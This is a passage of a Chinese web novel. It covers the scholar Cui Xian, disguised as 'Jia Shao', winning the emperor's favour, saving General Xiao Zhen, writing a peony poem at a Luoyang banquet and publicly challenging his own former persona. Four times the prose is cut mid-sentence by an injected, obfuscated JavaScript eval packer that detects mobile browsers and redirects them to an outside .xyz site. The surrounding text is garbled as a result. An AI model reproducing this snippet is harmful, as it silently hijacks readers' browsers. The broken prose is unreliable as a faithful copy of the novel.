了皇帝的忙,立下大功的贾邵,为何要‘瑟瑟发抖’、‘低垂尾巴’呢? 因为,贾邵也有自己的小心思。 亦或者说,贾邵在某些方面,犯了些错误。 所以他不敢表露出来,只敢用这种方式,暗戳戳传递信息,乞求原谅。 这真的太妙了。 但凡今日贾邵上书陈情,写下一大段‘忠君篇章’,嘉和皇帝都不可能轻易把此事揭过去,原谅他。 在皇帝跟前犯的错误,无论大小,都视为欺君之罪,岂可轻易原谅! 而贾邵写下的每一个陈情字迹,都是他欺君之罪的证明,让嘉和皇帝无法真正释怀。 然而贾邵一字未说,只画了一幅画啊! 当文字信息过于直白,无论含蓄或者直接说明原因,都会让双方难堪的时候。 一幅简笔画,反而有了‘润滑’的作用! 贾邵看似什么都没说。 但皇帝却全然懂了他的意思。 这种妙不可言的雅趣默契,实在让嘉和皇帝心生欢喜。 他心中下了决定:贾邵,不管你犯了什么错误,只要你心系君父,朕都可以原谅你! 但。 嘉和皇帝就是忍住了。 他不去查贾邵的底细,甚至不去问贾邵做了什么,以至于要用这种方式来示好。 他恶劣的,想要看到贾邵自知理亏,诚惶诚恐向自己告罪。 所以,哪怕知道贾邵心里有小九九,甚至来路并不简单。 他也不在意。 念在你把小尾巴主动露出的份上,朕都可以原谅。毕竟朕又不是小心眼,朕心中,装的是天下苍生啊! 可朕要假装,没看懂你这封信的含义。 而后等你来诚惶诚恐,向朕赔罪。 因此。 嘉和皇帝在给贾邵第二封回信中,终于不再是空白信,而是写了‘真挚’的文字: “爱卿乃朕之肱股也!” ? 178、大才子贾邵VS小神童崔岘(上) 写完‘爱卿乃朕之肱股也’后。 嘉和皇帝将那幅简笔画置于一旁,去看贾邵的第二张信纸。 那是一首诗。 《韬钤深处——洛阳谪仙阁送抗倭将军萧震》。 嘉和皇帝沉默着读完这首诗,神情动容,喃喃道:“封侯非我意,但愿海波平。” “贾邵啊贾邵,这究竟是你在替萧震明志,还是借此诗,向朕明志呢?” “朕,也希望东南能够早日‘海波平’啊。” 可转念想到,此次送信的十八个锦衣卫信使,遭遇四次截杀,最后只留一人活命。 嘉和皇帝眼睛里便浮现出森冷的杀意与愤怒。 纵然他贵为皇帝,也无法彻底解决‘东南祸乱’。 好在,贾邵帮了他大忙! 嘉和皇帝甚至已经开始提前筹划,可以借着此次机会,拔掉哪几个东南安置在朝堂里的‘钉子’。 而萧震,凭此次贾邵的造势,不仅能活命。 还能重返东南战场! 要不是贾邵这件事办的实在漂亮精彩,以嘉和皇帝矜持的性格,又岂能回一句这般情真意切的‘肱股’之言呢? 而且还是察觉到贾邵‘有猫腻’的情况下! 嘉和皇帝略作思忖,唤来司礼监太监,交代道:“把朕的回信,送去洛阳给贾邵。” “还有,再把贾邵在洛阳,给萧震出的三条抗倭计策,告知郑霞生。” “首辅自然知道该怎么做的。” 司礼监太监恭敬领命而去。 当日。 关于‘贾邵’在洛阳的所作所为,包括救萧震的细节,便送到了郑霞生府上。 郑阁老眯起眼睛,看完事件始末后,一张老脸都快笑烂了。 好家伙! ‘孟津祥瑞’事件刚结束不久,小崔岘又帮陛下定住了东南? 而且还借此笼络住了萧震! 未入庙堂,羽翼先丰! 不不不。 这已经不仅是小崔岘自己‘羽翼先丰’的问题了。 这一次,小崔岘又帮了师祖大忙啊! 或许在外人看来,崔岘作诗、辩经格外震撼精彩。但其实那三条看似不起眼 的抗倭策略,才是真正的杀招! 对于东南豪强来说,无论是开海禁、亦或者结交琉球,他们都是不可能同意的。 但此次萧震得民心,锦衣卫又被数次截杀,东南那边还疑似被陛下掌握了‘谋反’的证据。 他们必须作出退让。 保证萧震活命,反而成为了最微不足道的让步。 因此。 次日早朝,郑霞生一派开始猛烈发起进攻,建议陛下开海禁、结交琉球、平定东南! 朝堂百官当即吵作一团。 另一边。 萧震和八千士兵,自洛阳赶往京师。 一路上,每经过一城,都有百姓自发来慰问。 而贾邵于洛阳谪仙阁,那场同四位才子辩经的内容,则是在大梁文坛引发剧烈轰动。 有大儒激动表示,此乃嘉和第一辩! 因为它辩的是人心大义,辩的是家国太平! 随着时间推移。 《咏柳》《登鸿雁楼》《韬钤深处》等几首贾邵的惊艳之作,也在大梁诗坛传唱。 首首经典,句句脍炙人口! 甚至已经有人开始给贾邵冠以‘小诗圣’的称号。 不仅‘小诗圣’! 贾邵写字也是一绝,《登鸿雁楼》的贾邵亲笔印刷版,更是被一帮书法大家追捧为‘神作’。 视为当代‘小书圣’! 总之,贾邵火了。 自洛阳赏花文会石破天惊般崭露头角,绝世才子之名,传遍大梁! 而跟贾邵一起火起来,燃烧起来的,还有‘为萧震将军和八千士兵活命而努力’的民间、文坛。 **之火,随着萧震进京,而达到了顶点。 朝堂上,郑霞生一派的官员,把对手们按着猛猛摩擦。 因为可以完全不用动脑子,不管对方说什么,他们都可以引用‘贾邵辩经语录’来作为还击! 实在逼急了,再甩出去一句‘封侯非我意,但愿海波平’。 外加‘开海禁’、‘结交琉球’的政策打压! 这种跟着躺赢的感觉,爽**! 谁懂。 赞美贾邵! 最终,在贾邵 点燃的这把汹涌大火中,东南那边不得不做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088469|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出让步。 萧震保住性命,连降两级,降为指挥同知。等内阁和兵部协商过后,他会被重新派遣去东南前线。 还有。 朝堂上数位和东南关系密切的高官,被锦衣卫捏住把柄,革职、抄家、流放。 凭一己之力,救萧震、定东南,搅弄朝堂风云——此次事件中,贾邵这个名字,被整个朝堂百官狠狠记在心里。 当然,朝堂上的争斗,只有一小波人知晓。 随着萧震被赦免无罪。 在此次‘救将军’事件中,成功力挽狂澜的绝世大才子贾邵,不仅以满腹经纶的学识名动四方,其高洁之品质,同样获得无数人称赞! 如今盘点大梁绝世才子,贾邵这个名字,足以榜上有名了! 且位居前列! 五月。 除了萧震将军被赦免的好消息,在大梁各处传播之外。 还有个更加微妙的事儿,同样引发文坛关注。 东莱先生于开封府学外,修筑的七尺辩经高台,完工了! 消失五年之久的‘小神童’崔岘,即将要在七月份,抵达开封! 很多人嘴上说着不在乎这位‘过气神童’。 但,已经有大量车马,纷纷不约而同,朝着开封赶去。 洛阳牡丹文会盛事进入尾声。 开封辩经盛事,即将成为新的焦点! 而等萧震被赦免的消息,传到洛阳后,同样令全城欢呼。 当日辩经的时候,五大才子准备在萧震将军赦免后约酒局。 文会成百数千的读书人们一合计,大家共同合资出钱,办一场流水席,宴请五位绝世大才子! 也为——当时贾邵师兄刚到洛阳的时候,自己等人无礼的行径赔罪。 而在这场酒席开始的前一天,有两个消息在洛阳文人当中流传。 一是,贾邵师兄不日会离开洛阳,去往开封。 二是,贾邵师兄是‘反岘同盟’的领袖,对那崔岘厌恶至极,赶去开封是为了教训崔岘! 两条消息,瞬间让满洛城的文人们,都跟着开始‘站队’。 大家对崔岘没意见。 但要是贾邵师兄讨厌崔岘的话,那说明,这个崔岘肯定不是什么好人! ? 179、大才子贾邵VS小神童崔岘(中) 当洛阳城里的文人们,纷纷站队‘贾邵’,并且对着‘崔岘’指指点点的时候。 牡丹阁,甲字一号房。 崔岘正在看桌案上的三封信。 第一封信来自嘉和皇帝,内容是简短的一句话:“爱卿乃朕之肱股也。” 看来,自己那幅简笔画,作用很大嘛。 至少把皇帝给哄住了。 第二封信来自萧震,内容也很简单:“谢先生活命之恩。” 萧震虽被降为指挥同知,但命保住了,不日还能重返东南抗倭战场。 以后,二人便是最紧密的**同盟了。 第三封信来自老师东莱先生,絮絮叨叨写了很多屁话。 简单概括就三句: “徒弟,你真牛逼!” “辩经台已搭好,目前正式进入预热阶段。你调整好状态,七月份来开封战斗!” “但你小号马甲肯定捂不住了,尽快处理善后工作,期待掉马嘿嘿。” 崔岘脸上浮现出笑意。 嘉和皇帝那边已经哄好了,除此之外,也没什么善后工作可做。 无非就是掉马以后,会被皇帝冷落一阵。 那就继续哄呗。 还能离了不成? 但崔岘接下来的开封之行,真的要认真的、拿出十二万分精力,去搞一波大的。 特别大的! 大到足以掀翻整个大梁文坛的桌子,让下到普通读书人、上到名儒学究们都道心崩溃、怀疑人生—— 最后重塑思想、学派、教材! 不得不说,这件事哪怕放在崔岘身上,也是个非常严峻的挑战。 但,这是‘新一代文坛领袖’必须要经历的‘厮杀’啊! 只要赢了。 往后数十年,乃至数百年,这天下读书人,都将是他崔岘的‘桃李门生’! 正当崔岘心中思索着,该如何推进这个庞大计划第一步的时候。 卧房外有人叩门。 而后是苏祈揶揄的笑声:“知道你是今日宴会的主角和功臣,但你这架子是不是有点太大了。” “还得让本公子亲自来请你。” 崔岘将那 三封信收起来。 而后打开卧房门,笑眯眯看着苏祈说道:“既是来请人,为何毫无请人之姿态? 啊这。 苏祈神情一僵,随后不情愿做了个揖礼:“贾兄,请! 纵观天下英才,能让苏祈做到这一步的,掰着手指头,怕也是数不出第二个了。 崔岘哈哈大笑,率先抬脚往外走。 苏祈看着对方的背影,神情罕见有些纠结。 听说……贾邵十分讨厌崔岘啊。 那到时候,他站哪边? 啧。 真是让人头疼。 牡丹阁楼下。 周斐然,何旭,孟绅三人,已经提前在等着了。 瞧见贾邵、苏祈出来,双方笑着互相打招呼,而后结伴朝着金谷园走去。 如今已进入五月份。 牡丹花期即将结束,大部分花朵都已经凋零。 但也仍旧有一批晚期牡丹,正在盛开。 谪仙亭外,与落败牡丹相对比的,是即将绽放的芍药。 更远一些。 水池里的芙蕖,悄然露出尖尖青角。 当崔岘和苏祈五人,走进金谷园后。惊讶的发现,成百上千的读书人们,都站在各自的宴席前,手中端着杯盏。 “来了来了! “快,都站起来。 “把杯盏里的酒水倒满! 怎么了这是? 在五人疑惑的注视下。 一位读书人端着酒杯站了出来,神情赧然又愧疚,大声道:“贾邵师兄,先前你初到洛阳之时,是我等有眼不识真才子,对师兄多有冒犯。 “于是,我等今日在金谷园,开席设宴。 “一是为贾邵师兄赔罪。 “二是,也想为贾邵师兄、苏祈师兄、何旭师兄,周斐然师兄,孟绅师兄庆功!五位大才子,不仅满腹经纶,且才情高洁! “为萧震将军,和八千抗倭士兵,成功谋求一条生路!实在是令我等佩服! “因此我提议,咱们一起举杯,敬贾邵师兄,敬其余四位师兄一杯! 说罢。 金谷园内,成 百上千的读书人齐齐举杯,迫不及待一饮而尽。 他们动作太快。 以至于崔岘说出‘且慢’的时候,这群人都已经喝完了。 方才那位读书人见状,神情忐忑极了,磕磕巴巴的说道:“贾邵师兄,可是不愿原谅我等?一切过错,都在我们。” “师兄来的时候,洛阳牡丹绽放,却被我等扫了兴致。如今花朵纷纷凋零,我等也即将各奔东西。” “萍水相逢一场,不知何年再相见,实在不想抱着愧疚离开。” 这话,也说出了无数读书人的心声。 他们赧然、愧疚的看向贾邵,尴尬又忐忑。 结果却见贾邵无奈笑道:“我说且慢,意思是,你们独自畅饮,怎能落下我等五位呢?” 听闻这话,在场众人眼睛都猛然亮起来。 金谷园中心席位。 身穿便服的知府赵恒朗声笑道:“一群傻子,贾邵先生怎么会因这些小事,跟你们计较?” 同样身穿便服的同知齐栋梁,紧接着道:“还不赶紧把先生请进来,我等共饮一杯!” 今日是读书人们共同宴请贾邵等人,因此两位大人虽来了,但都贴心的没有穿官服。 也并未单独在牡丹阁设席面,而是同众人一起,坐在金谷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088470|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 园当中。 在无数道目光注视下。 五位才子走到中心席位,先是跟两位府官打过招呼。 而后。 崔岘给自己倒了一杯酒,着看向全场众人,朗声笑道:“诸君今日携诚而来,贾某很是欣慰,并未有责怪之意。” “方才那位师兄说,牡丹花开花谢,我等也即将各奔东西。诸君只见残红委地,然枝头新蕊已孕——花谢花开,本是天道循环,恰似吾辈聚散有时。” “不到园林,怎知春色如许?不到洛阳,怎知牡丹绚烂?今日之凋零,正为来年‘姹紫嫣红开遍’。而救萧将军于危难,譬如春风护花,非一人之功。我等与诸君,皆各尽其力。” “今日一别后,望诸君或入庙堂、安黎庶,或执笔锋、正乾坤,皆不负我等牡丹洛城相识一场。” “若他日重逢,当如这杯中酒——愈陈愈香!” 一番话,说的全场为之叫好! 这才是真正的绝世大 才子啊,姿态、学识、性情、品德、情商,全都直接拉满! 贾邵,完美符合所有人心目中‘才子’应有的模样! 于是。 金谷园内,众人纷纷举杯—— 敬贾邵,敬眼前的才子们,敬此次洛阳牡丹文会,敬萧将军和八千抗倭士兵,也敬我们自己! 一杯酒下肚,气氛开始活络起来。 作为本次文会的主办方,赵恒笑眯眯看着贾邵,佯装欢喜又遗憾:“看贾邵先生这般耀眼姿态,我就在心里想,本次牡丹文会,何德何能,得以把先生请到场。” “但可惜哟,可惜。” 其实听到这话,崔岘已经明白了赵恒的意思。 他佯装不知,笑问道:“可惜什么?” 见贾邵接话了,赵恒哪有不懂得。 忍住兴奋,在全场欢呼声中,笑道:“可惜,贾邵先生才名遍天下,咏过柳,赞颂过黄河鸿雁楼,还替萧将军明志。” “唯独却忘了咱们洛阳,忘了咱们洛阳牡丹。” “可惜,实在可惜。” 他说完后。 齐栋梁在一旁笑着揶揄帮腔:“说起来,咱们洛阳,也算是贾邵先生的‘扬名之地’,第二个家乡。” “如今赏花文会都要散场了,怎地也没见贾邵先生,给自家牡丹写两句?先生,可莫要因为是咱自家的,就不好意思夸哟。” 他俩一唱一和,惹得崔岘直接笑出声,配合着点头:“既是自家的,那好像确实该夸一夸?” 哦豁! 听到这话,全场读书人纷纷欢呼着站起来,目露期待。 “贾邵师兄要写牡丹诗了?” “离开洛阳之前,还能有幸见证一首新的牡丹诗诞生,实在是一件幸事!” “快快,快给贾邵师兄递笔!” ? 180、大才子贾邵VS小神童崔岘(下) 贾邵师兄要写诗全场都激动沸腾了。 有人急吼吼要给贾邵递纸笔。 结果却听孟绅在一旁笑道:“听闻贾邵兄在孟津登上鸿雁楼后俯瞰黄河有感而发。当即笔走龙蛇在鸿雁楼上作诗一首。” “那来了洛阳也莫要用纸笔 此话当即引来一群叫好声! 连赵恒、齐栋梁都连连点头目露兴奋期待。 本次牡丹文会办的实在漂亮五大才子辩经救萧震一事早已传唱天下。 洛阳因此狠狠出了一把风头。 要是再来一首经典牡丹诗那可真是赚大发了啊! 在一片振奋欢呼中。 崔岘自席间起身笑的格外灿烂:“好啊既如此那贾某便献丑了。” 周斐然摇头失笑:“你的话我一个字也不信。嘴上说着献丑了待会儿却又轻松写出一首绝世大作!” 何旭直接抱起一坛酒笑道:“既如此小弟先备好酒一坛。待会儿师兄写完我等在谪仙阁共饮一杯!” “敬此次相识相遇!” 说起来文会开始那日他们几个在谪仙阁里、因辩经而相认交了朋友。 今日文会即将散场。 再次于谪仙阁内共饮心境和先前已经全然不同了。 苏祈则是拿起笔墨笑道:“我来替你研墨。” 于是苏祈研墨何旭抱酒。 周斐然、孟绅、赵恒、齐栋梁陪同。 在无数人期待的见证下。 身穿烟青色长衫的贾邵走进谪仙阁接过苏祈递来的笔于谪仙阁中梁柱上方笔走龙蛇挥墨写下: 《洛阳谪仙阁赏牡丹》。 诗还未开始写只题了个名字。 人群中便响起一片高亢激动叫好声。 定睛一看不是严思远等一群小黑粉还能有谁? 说起来。 ‘贾邵是反岘联盟领袖’、‘贾邵要去开封教训**神童崔岘’的谣言就是从他们这群人嘴里散布出去的。 但贾邵本人并未辟谣。 因此越来越多的人甚至连苏祈都 开始泛起了嘀咕。 在严思远等小黑粉们的叫好声中。 贾邵笔力劲道,稳稳在梁柱上写下了第一句诗:“庭前芍药妖无格。 瞧见这一句,人们纷纷下意识转移视线,去看谪仙亭外那一簇簇的芍药。 虽说还没绽放。 一个‘妖’字,便足以让人想象到其绽放之后,妖娆妍丽的模样。 但有趣的是,‘妖’字后面,却跟着‘无格’二字。 无格:缺乏风骨。 夸一件事物之前,先贬低另一件事物,这是诗人们常用的一种创作手法,叫做:对比。 再简单粗暴来说就是:拉踩。 “池上芙蕖净少情。 好家伙! 你这是一句一拉踩啊! 拳打芍药,脚踢芙蕖。 赵恒、齐栋梁默默看向旁边水池里,刚刚露出水面的芙蕖嫩芽,看似镇定,实则已经有点慌了。 哥,悠着点! 不是说不能拉踩。 但你把这两种高洁之花踩得这么狠,接下来,要怎么写啊? 莫说两位府官。 金谷园里一群读书人,谪仙阁里的苏祈等才子,都眯起眼睛,等待着贾邵放大招。 甚至有人忍不住,下意识往前走了好几步,伸长脖子观看。 谪仙阁里的贾邵,也不辜负大家的期待。 他收笔重新蘸墨,而后在无数道惊艳目光注视下,一气呵成写下: “唯有牡丹真国色,花开时节动洛城! 全场为之短暂失声。 于一片沉默中,贾邵收笔。 或许,是这满园牡丹,都被夸赞的十分满意。 也或许是巧合。 贾邵诗成收笔那一刻。 春末的清风,自远处穿过亭台楼阁、市井屋舍,来到了金谷园里。 贾邵的一身烟青色长衫在风中飘舞。 满园牡丹花海摇曳,各色花瓣簌簌落下,美的如梦似幻。 虽然花期即将结束。 可此情此景,绝对担得起‘动洛城’三字啊! 知府赵恒率先回过神来,看着谪仙阁里的贾 邵激动道:“好!好一个‘唯有牡丹真国色花开时节动洛城’!” “先生大才啊!” 随着赵恒话音落下。 金谷园里众人反应过来品味着这首《洛阳谪仙阁赏牡丹》越品味越激动越品味越佩服! 谈笑间 就问还有谁! 若是此刻炙热崇拜的目光可以化作实质那这些目光足以把贾邵给‘点燃’了! “我等有幸亲眼见证一首名作问世!” “唯有牡丹真国色花开时节动洛城!今日之后牡丹诗有了代表作!” “贾邵师兄实在才情无双!” “想来就算是那小神童崔岘来了也要甘拜下风!” 贾邵一首诗令全场为之振奋折服。 甚至当场学习偶像‘作诗拉踩’的手段开始拉踩小神童崔岘了! 谪仙阁里。 苏祈等人同样惊叹的看向贾邵。 大家都是大才子怎么就你大的这么突出呢! 何旭眼睛发亮给几人依次倒了酒叹服道:“来我提议咱们为贾邵师兄这句‘唯有牡丹真国色花开时节动洛城’喝一杯!” 苏祈笑着举起杯:“敬大才子贾邵!” 孟绅哈哈一笑:“敬此次洛阳相遇相识!” 周斐然想了想补充道:“敬谪仙阁辩经敬萧将军早日平定海波!” 他们把敬酒词说完了余下的还能怎么说呢? 崔岘想了想举起手中酒杯笑道:“敬我们永远赤诚敢为不公发声!” 说得好! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088471|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五人互相碰杯仰头一饮而尽尽显青春肆意少年风骨! 正如那日谪仙阁救萧震不必考虑太多。 想救那便去救! 至于能不能活命救了就知道了! 而如今谪仙阁里一杯酒和酒水中的友谊便是最好的回报! 五位才子碰杯共饮也引来无数人再次举杯。 一首《洛阳谪仙阁赏牡丹》几杯酒下肚再看看贾邵此刻神采飞扬的耀眼姿态。 到底是有人没忍住借着酒劲儿高声期待问道: “贾邵师兄,以您之才情学识,比昔日小神童崔岘,孰强孰弱?” 这话,令全场侧目,而后纷纷看向贾邵。 外面盛传,贾邵师兄厌恶崔岘,究竟是真是假啊? 连苏祈都没忍住,暗戳戳看向贾邵。 迎着无数探究目光,崔岘笑了。 其实以他的才情,有无数种办法装傻充愣,避开这个问题。 但,为什么要避开呢? 接下来,他要做的,是以一人之力,单挑整个文坛。 可不仅仅是像老师东莱先生那样,证道文坛领袖那么简单。 是字面意义上单挑文坛! 他要重修四书五经,就得跟无数老学究在辩经台上‘打’的你死我活。 他要诠释新思想火种,就得跟道家、法家等等各种流派‘打’的你死我活。 他要建立新的学派,就得跟各种学阀、旧学派‘打’的你死我活。 总之一句话—— 等崔岘站到开封辩经台上那日,这大梁文坛,有一个算一个,谁都躲不掉。 一场席卷整个大梁文坛的‘新旧思想碰撞’风暴,即将来临! 既然接下来的场面会非常混乱,那崔岘也不介意,自己先狠狠点上一把火。 烧吧,燃烧吧。 思想的碰撞,就是要尽情汹涌的烧上一场啊! 大火过后,方能重生! 但现在,趁着‘背后的风暴’还没刮起来,崔岘要尽可能把更多的人,钩到开封去! 新思想的诞生,需要大量的观众来作见证! 亦或者—— 来陷入混战,一起‘打’起来! 那就勉强牺牲一下自我,用大小号当钩子吧。 因此。 迎着无数咂舌震撼的目光,便见贾邵毫不避讳这个问题,爽朗笑道:“若跟昔日小神童崔岘比的话,那——” “自然是我强。” 这话没毛病啊,五年后的崔岘,自然比五年前的崔岘强。 然而这话,在全场众人耳中,全然变了味儿! 贾邵,向崔岘宣战了! 哗! 金谷园一片哗然,严思远等一群小黑粉们,甚至激动的浑身发抖。 他们已经迫不及待想看到,开封辩经台上,崔岘被贾邵血虐的画面! 想想就爽**啊! ? 181、南阳四大才子 随着满城牡丹凋零飘落。 本次声势浩大的洛阳赏花文会,正式宣告结束。 但,这是结束,也是新的开始。 无数道目光,转而看向了开封! 因为在金谷园告别宴上,当着成百数千读书人的面,贾邵,正式向小神童崔岘,宣战了! 一个是当年名震士林文坛、天资卓越的大梁第一神童。 一个是近期石破天惊崛起,满腹经纶的无双绝世才子。 这场堪称‘文坛双子星’的超强对决碰撞,谁不想去亲眼目睹呢? 不去不是大梁人! 因此,许多参加此次洛阳文会的读书人们,纷纷决定—— 去开封! 与此同时,贾邵那首《洛阳谪仙阁赏牡丹》,不出意外地,在洛阳城爆红了! 读书人们还自发地,把这首诗,投递给了《东都花讯》。 当时文会刚开始的时候,这家报纸,办了一场牡丹文会作诗征稿大赛,并对外宣称第一名可得五十两银子的奖励! 一些优秀诗稿,还得以刊登在报纸上。 众人本来都在暗搓搓较劲比拼呢。 但贾邵师兄这首‘唯有牡丹真国色’一出,直接杀**比赛! 冠军非他莫属啊! 对此老崔氏郑重表示:可不是我暗箱操作,实在是,这五十两银子,你们也不给我花出去的机会啊! 只能左手倒右手咯。 但该走的流程,还是要走的。 于是。 牡丹文会结束后的第三天。 东都花讯邸报东家老崔氏,带着五十两稿酬,叩开了牡丹阁甲字一号房门。 进门前,老崔氏姿态沉稳又高冷。 进门后。 老崔氏拉着岘哥儿的手,笑的一张脸都皱起来:“哎哟,我们家乖孙哟!太厉害啦!如今满洛城,谁不知道我家乖孙的名号? “对啦,你怎地出一趟门,还换了个新名字?当日在牡丹阁外瞧见你,着实给祖母唬了一跳。 “不过岘哥儿你向来聪慧,换名字自然有你的打算,祖母也就不多过问了。 “但咱家这个东都花讯,此次是真办起来咯。当然,还是岘哥 儿你的功劳最大! 她絮絮叨叨说了一大堆,满眼得意自豪。 一双眼睛亮晶晶盯着崔岘,露出‘求夸赞’的小表情。 崔岘拉着祖母坐下,笑眯眯的说道:“近些日子,我总能瞧见许多读书人,手里拿着咱家的邸报。 “祖母赶来洛阳后,闷声干大事儿,把东都花讯办的如此红火。实在是令孙儿佩服又瞠目! “前些日子我还在想,这是真的吗?真的是我祖母办到的吗?该不会背后有高人在指点吧? 老崔氏听得吭哧吭哧笑,心里那个舒坦哟! 她嘴角怎么压都压不住,故意扬起下巴:“哪里有什么高人指点,都是祖母自己办到的!要真是有高人,那也是岘哥儿你这些年教的好。 “对了,祖母今天来,是跟你告别的。 “在洛阳,祖母把路子摸熟悉了。所以得提前赶去开封,趁早抢占市场先机,狠狠大赚一笔! “你大伯、大伯母,还有你爹娘,你阿兄阿姐阿妹,这段时间都会陆续赶往开封。祖母先去找好落脚地,安置一家人团聚。等你来了开封,什么都不用管。 “只管去辩经就行! 好家伙,您这是一刻也闲不下来。 工作狂啊! 崔岘咋舌,调侃道:“那祖母您可得悠着点,别把钱都给赚完了,好歹得给别家留一些。 老崔氏笑的直不起腰,但整个人却尽显豪情万丈:“赚!趁着祖母这把老骨头还能动弹,可着劲儿的赚! “岘哥儿你带着咱家,从河西村崔家,发展成南阳崔氏!如今,也该祖母发力,带着南阳崔氏,发展成河南崔氏了! 真是好有心气儿一老太太! 但崔岘想了想,还是多交代了一句:“孙儿救萧将军的时候,得罪了东南那边。目前孙儿还未暴露**,暂且不惧。等到了开封,身份一暴露,极有可能会面对一些打击报复。 “祖母要做好心理准备,切不可轻敌。 这种事情,换到五年前,老崔氏肯定是难免提心吊胆的。 但此刻,她只是笑道:“天下熙熙,皆为利来。出门在外,哪有不结仇的时候?岘哥儿你放心,咱这一家子,没你想的那么脆弱。 “而且祖母已经在努力赚 钱打拼家业了!只为以后我家乖孙得罪了人也能有得罪人的底气!” 豁! 听听这话说的有‘河南崔氏家主’的霸气姿态了! 崔岘朝祖母竖起大拇指。 祖孙二人又聊了会儿随后老崔氏便急吼吼告别准备赶往开封。 她着急赚钱呐! 老崔氏离开后不久。 苏祈、何旭等人也来跟崔岘告别。 他们打算离开洛阳去各处游山玩水然后等7月份去开封。 大家本来计划着要邀请贾邵一起的但贾邵说自己要留在洛阳‘闭关’一段时间。 苏祈眉毛都拧了起来:看来为了此次跟崔岘打擂台贾邵是准备下狠功夫了啊! “贾邵兄我们走了咱们开封见!” “诸位开封见!” 何旭、苏祈、孟绅、周斐然四人各自背着行囊走出牡丹阁。 而后。 四人默契回头看向最上方的甲字一号房。 孟绅笑道:“你们说崔岘和贾邵最终谁能赢?” 何旭、周斐然都毫不犹豫选择贾邵。 苏祈则是含糊着道:“等7月份去了开封就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088472|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道了。” 显然莫说是普通人连他们这些大才子也好奇这场‘强强辩论’的结果啊。 亦或者……他们到时候也想登台辩上一场。 周斐然嘀咕道:“辩不过贾邵我难道还辩不过崔岘?一人单挑整个文坛他倒是好胆。但听起来也确实有点让人不爽。” 随着数位大才子的离开。 洛阳文会的读书人们也大批量结伴自洛阳赶去开封。 热闹的洛阳城逐渐恢复平静。 而崔岘本人则是真的沉寂于牡丹阁甲字一号房里潜心闭关不见外客。 时间一晃眼从五月来到了七月初。 相比于恢复平静的洛阳整个开封 满城尽是穿儒衫的读书人。 尤其是七月初。 每天都有船只、车马赶来开封。 这日。 一艘船只 自开封州桥码头缓缓停泊。 而后,从船舱里,先后走出四位手持折扇,眉眼年轻的少年郎。 若是寻常少年,自不会引发旁人注意。 可,这四位年轻的少年郎,皆头戴方巾,身穿襕衫! 竟然是四位秀才公! 因此,他们一露面,便引来无数惊呼。 如此年轻的秀才公,还是四位一起出场,属实吸引眼球! 州桥码头。 一位身穿开封府学蓝衫,同样戴着方巾,中年模样的秀才不敢托大,快步走过来热情接应:“在下开封府学生员,敢问四位兄台名讳,自何处来?” 船上。 四位秀才当中,最前方模样微胖、看起来有点装的少年潇洒收起折扇,拱手回礼:“兄台不必客气,在下裴坚,自南阳而来,正打算入开封府学读书。” “以后,我们就是同窗了。” 南阳! 在如此节骨眼,这俩字一出,当即让无数人瞪大眼睛,纷纷看了过来。 而且……‘裴坚’这个名字,总觉得有点莫名耳熟啊? 有外地读书人尚且还在疑惑。 但本地的,尤其是河南境内的读书人,都激动的瞪大了眼。 “南阳来的,叫裴坚,还是四个人一起出场,绝对没错的!” “是南阳四大才子到了!” “《虹猫》联合撰写作者,赵志案中跟小神童崔岘一起,为百姓发声的南阳四大才子!” “传闻,小神童有个大哥,就是叫做裴坚!” “南阳四大才子已经露面,小神童崔岘呢,他是不是也快到啦!” “太好了,小神童再不来,贾绍的簇拥者们,都快猖狂到忘乎所以了!” 而看着周围人们激动不已的场面,裴坚、庄瑾、高奇、李鹤聿四人愣住了。 而后,哥几个互相对视,默契把脊梁悄然挺直了一些。 ? 182、我与开封相见欢 说实话从一大群人口中听到‘南阳四大才子’这几个字感觉是不一样的。 当年。 岘弟的一句玩笑话如今竟然成真了。 这其中经历的艰辛苦楚唯有他们四人心里最为清楚。 那辛辛苦苦考上秀才成为‘南阳四大才子’为的是什么呢? 